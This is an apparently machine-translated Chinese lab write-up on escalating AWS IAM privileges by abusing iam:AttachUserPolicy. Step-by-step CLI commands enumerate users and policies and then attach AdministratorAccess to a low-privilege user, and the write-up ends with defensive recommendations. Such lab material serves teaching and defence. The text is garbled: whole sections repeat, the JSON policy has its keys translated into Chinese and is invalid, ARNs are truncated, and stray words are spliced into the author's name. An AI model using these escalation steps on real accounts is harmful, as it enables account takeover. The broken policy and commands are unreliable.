8
月
在社区成长 8 月
LEVEL 50
100 XP
云计算提供了许多优势,但也带来了安全风险,例如服务滥用和IAM 策略配置错误。具体来说,是在与托管服务提供商打交道时在云环境中附加用户策略的能力。 IAM AttachUserPolicyLab 设置和先决条件第1: 部分IAM 实验室设置创建过于宽松的策略
创建具有宽松策略分配的IAM 用户
第2: 部分AttachUserPolicy 的枚举和利用用例场景
使用AWS CLI 设置配置文件枚举
IAM AttachUserPolicy 权限提升
AnalysisRecommendations 结论
虚拟机卡利Linux
如果您是AWS 平台的新手,建议您在此处完成AWS 实验室设置。
用户:Igt_komal
策略名称:Vuln_attached_policy
指定策略编辑器的权限。编写一个授予完全管理权限的自定义策略,稍后它将用作升级路径。Effect: 允许- 授予权限,而不是拒绝。
Resource:“*”- 适用于帐户中的所有资源。
Actions:iam:List * – 列出IAM 资源,例如用户、角色和策略。
iam:Get * – 检索有关IAM 资源的详细信息。
iam:SimulatePrincipalPolicy – 模拟IAM 权限以检查委托人可以执行哪些操作。 (用于审核/测试)
iam:AttachUserPolicy – 将托管策略附加到用户,允许在误用时进行权限升级。
iam:CreatePolicyVersion – 创建现有策略的新版本。
{
'版本': '2012-10-17',
‘声明’: [
{
'效果': '允许',
'行动': [
'iam:列表*',
'iam:获取*',
'iam:SimulatePrincipalPolicy',
'iam:AttachUserPolicy'
],
“资源”:“*”
},
{
'效果': '允许',
'行动': [
'iam:创建策略版本'
],
'资源': 'arn:aws:iam:*: 策略/vul_attached_policy'
}
]
}
这就是策略在策略编辑器中的显示方式。添加策略详细信息(例如步骤2 中的名称Vuln_attached_policy)后,单击创建策略(如屏幕截图所示)。
:经常采用这种方式
测试或解决访问问题
快速授予权限,无需修改组或角色
小型或隔离环境中的细粒度控制
aws configure set profile.Igt_komal.aws_access_key_id AKI
为该配置文件分配访问密钥ID、秘密访问密钥和默认区域。它将允许配置文件Igt_komal 将来充当IAM 用户。
aws configure set profile.Igt_komal.aws_secret_access_key W+ft
aws configure set profile.Igt_komal.region us-east-1
以下命令将通过该配置文件检索当前经过身份验证的用户的身份信息(UserId、帐户ID、ARN)。
aws sts get-caller-identity --profile Igt_komal
下面编写的命令将列出附加到用户Igt_komal 的所有托管策略。输出清楚地表明用户有一个附加策略,即vuln_attached_policy。请注意屏幕截图中突出显示的PolicyArn。
aws iam list-attached-user-policies --用户名Igt_komal --profile Igt_komal
然后,通过以下命令列出Vuln_attached_policy 的所有可用版本,结果清楚地显示版本Id v1 被设置为默认版本,即其活动版本。
aws iam list-policy-versions --policy-arn arn:aws:iam:513869214449
olicy/vuln_attached_policy --profile Igt_komal
运行此命令可获取特定版本IAM 策略的完整详细信息,例如策略版本、创建日期等。
请注意,输出显示iam: List 和iam:Get 以及iam:AttachUserPolicy.A 权限升级风险都带有通配符(*) 的过于宽松的策略。aws iam get-policy-version --policy-arn arn:aws:iam:513869214449
olicy/vuln_attached_policy --version-id v1 --profile Igt_komal
接下来,运行以下命令来列出IAM 用户。输出包括用户名、ID 和ARN — 突出显示Igt_admin 作为潜在目标。aws iam list-users --profile Igt_komal
现在,通过运行以下命令列出附加到admin_role 的策略: 输出显示AdministratorAccess。
aws iam list-attached-user-policies --用户名Igt_admin --profile Igt_komal
aws iam create-user --用户名Igt_hacker --profile Igt_komal
此命令将强大的AdministratorAccess 托管策略附加到IAM 用户Igt_komal。
aws iam Attach-user-policy --用户名Igt_komal --policy-arn arn:aws:iam:aws
olicy/AdministratorAccess --profile Igt_komal
现在,执行以下命令进一步确认用户的管理员访问权限,因为该命令显示了附加到Igt_komal 的所有策略
aws iam list-attached-user-policies --用户名Igt_komal --profile Igt_komal
再次尝试以下命令,这次成功了。
aws iam create-user --用户名Igt_hacker --profile Igt_komal
恭喜!演示了通过AttachUserPolicy 滥用进行权限升级。
低权限IAM 用户→ 通过iam:AttachUserPolicy 附加AdministratorAccess → 完全管理权限→ AWS 账户受损
通过角色或组而不是直接的用户附件分配权限。
立即将高权限策略与低权限用户分离
使用AWS CloudTrail + Amazon CloudWatch 创建有关权限升级事件的警报。
安排定期IAM 审核以检测未使用或有风险的策略。
作者: FatimaAzizi 是一位出色的网络安全专业人士,拥有云安全方面的专业知识,持有GPCS 和CCSK 等认证。在LinkedIn 上联系法蒂玛马云惹不起马云阿齐兹。
创建具有宽松策略分配的IAM 用户
第2: 部分AttachUserPolicy 的枚举和利用用例场景
使用AWS CLI 设置配置文件枚举
IAM AttachUserPolicy 权限提升
AnalysisRecommendations 结论
目录
具有iam:AttachUserPolicy 的用户可以将强大的托管策略(如AdministratorAccess)附加到自己或其他人。如果没有资源限制,这可能会导致权限升级和对AWS 环境的完全管理访问。有关策略的更多信息,请参阅IAM 用户指南中的托管策略和内联策略。关于 iam:AttachUserPolicy
AWS 账户虚拟机卡利Linux
如果您是AWS 平台的新手,建议您在此处完成AWS 实验室设置。
实验室设置和先决条件:
以下是设置环境的说明。我们将访问AWS 控制台并配置AWS 命令行界面(CLI)。用户:Igt_komal
策略名称:Vuln_attached_policy
第 1 部分:IAM 实验室设置
制定过于宽松的政策
导航到IAM 策略创建策略。
指定策略编辑器的权限。编写一个授予完全管理权限的自定义策略,稍后它将用作升级路径。Effect: 允许- 授予权限,而不是拒绝。
Resource:“*”- 适用于帐户中的所有资源。
Actions:iam:List * – 列出IAM 资源,例如用户、角色和策略。
iam:Get * – 检索有关IAM 资源的详细信息。
iam:SimulatePrincipalPolicy – 模拟IAM 权限以检查委托人可以执行哪些操作。 (用于审核/测试)
iam:AttachUserPolicy – 将托管策略附加到用户,允许在误用时进行权限升级。
iam:CreatePolicyVersion – 创建现有策略的新版本。
{
'版本': '2012-10-17',
‘声明’: [
{
'效果': '允许',
'行动': [
'iam:列表*',
'iam:获取*',
'iam:SimulatePrincipalPolicy',
'iam:AttachUserPolicy'
],
“资源”:“*”
},
{
'效果': '允许',
'行动': [
'iam:创建策略版本'
],
'资源': 'arn:aws:iam:*: 策略/vul_attached_policy'
}
]
}
这就是策略在策略编辑器中的显示方式。添加策略详细信息(例如步骤2 中的名称Vuln_attached_policy)后,单击创建策略(如屏幕截图所示)。
设置托管策略
转到IAM 用户创建用户。输入用户详细信息(例如Igt_komal),然后直接在设置权限的权限选项下选择附加策略。从列表中选择Vuln_attached_policy,然后单击下一步。
创建具有宽松策略分配的 IAM 用户
第 2 部分:枚举和利用
AttachUserPolicy 直接将托管IAM 策略与特定用户关联。虽然不适合大规模或生产使用,但它们在测试或受控环境中具有某些实际用途。:经常采用这种方式
测试或解决访问问题
快速授予权限,无需修改组或角色
小型或隔离环境中的细粒度控制
AttachUserPolicy 的用例场景
首先,在AWS CLI 中设置名为Igt_komal 的配置文件。aws configure set profile.Igt_komal.aws_access_key_id AKI
为该配置文件分配访问密钥ID、秘密访问密钥和默认区域。它将允许配置文件Igt_komal 将来充当IAM 用户。
aws configure set profile.Igt_komal.aws_secret_access_key W+ft
aws configure set profile.Igt_komal.region us-east-1
以下命令将通过该配置文件检索当前经过身份验证的用户的身份信息(UserId、帐户ID、ARN)。
aws sts get-caller-identity --profile Igt_komal
下面编写的命令将列出附加到用户Igt_komal 的所有托管策略。输出清楚地表明用户有一个附加策略,即vuln_attached_policy。请注意屏幕截图中突出显示的PolicyArn。
aws iam list-attached-user-policies --用户名Igt_komal --profile Igt_komal
然后,通过以下命令列出Vuln_attached_policy 的所有可用版本,结果清楚地显示版本Id v1 被设置为默认版本,即其活动版本。
aws iam list-policy-versions --policy-arn arn:aws:iam:513869214449
运行此命令可获取特定版本IAM 策略的完整详细信息,例如策略版本、创建日期等。
请注意,输出显示iam: List 和iam:Get 以及iam:AttachUserPolicy.A 权限升级风险都带有通配符(*) 的过于宽松的策略。aws iam get-policy-version --policy-arn arn:aws:iam:513869214449
接下来,运行以下命令来列出IAM 用户。输出包括用户名、ID 和ARN — 突出显示Igt_admin 作为潜在目标。aws iam list-users --profile Igt_komal
现在,通过运行以下命令列出附加到admin_role 的策略: 输出显示AdministratorAccess。
aws iam list-attached-user-policies --用户名Igt_admin --profile Igt_komal
使用 AWS CLI 设置配置文件枚举
真正的游戏从执行此命令开始,其中Igt_komal 尝试创建另一个用户Igt_hacker 但该操作被拒绝,因为没有基于身份的策略可以执行此操作。aws iam create-user --用户名Igt_hacker --profile Igt_komal
此命令将强大的AdministratorAccess 托管策略附加到IAM 用户Igt_komal。
aws iam Attach-user-policy --用户名Igt_komal --policy-arn arn:aws:iam:aws
现在,执行以下命令进一步确认用户的管理员访问权限,因为该命令显示了附加到Igt_komal 的所有策略
aws iam list-attached-user-policies --用户名Igt_komal --profile Igt_komal
再次尝试以下命令,这次成功了。
aws iam create-user --用户名Igt_hacker --profile Igt_komal
恭喜!演示了通过AttachUserPolicy 滥用进行权限升级。
IAM AttachUserPolicy 权限升级
用户Igt_komal 通过利用iam:AttachUserPolicy 权限(一种典型的IAM 错误配置滥用)成功将权限从有限访问权限升级到对AWS 账户的完全管理控制。升级路径为:低权限IAM 用户→ 通过iam:AttachUserPolicy 附加AdministratorAccess → 完全管理权限→ AWS 账户受损
分析
除非绝对必要,否则避免授予用户权限,如iam:AttachUserPolicy。通过角色或组而不是直接的用户附件分配权限。
立即将高权限策略与低权限用户分离
使用AWS CloudTrail + Amazon CloudWatch 创建有关权限升级事件的警报。
安排定期IAM 审核以检测未使用或有风险的策略。
建议
此实验室练习代表AWS 中因IAM 权限配置错误而存在的严重安全风险。这种类型的升级并不依赖于传统的漏洞或利用,而是糟糕的权限边界可能会导致这种妥协。作者: FatimaAzizi 是一位出色的网络安全专业人士,拥有云安全方面的专业知识,持有GPCS 和CCSK 等认证。在LinkedIn 上联系法蒂玛马云惹不起马云阿齐兹。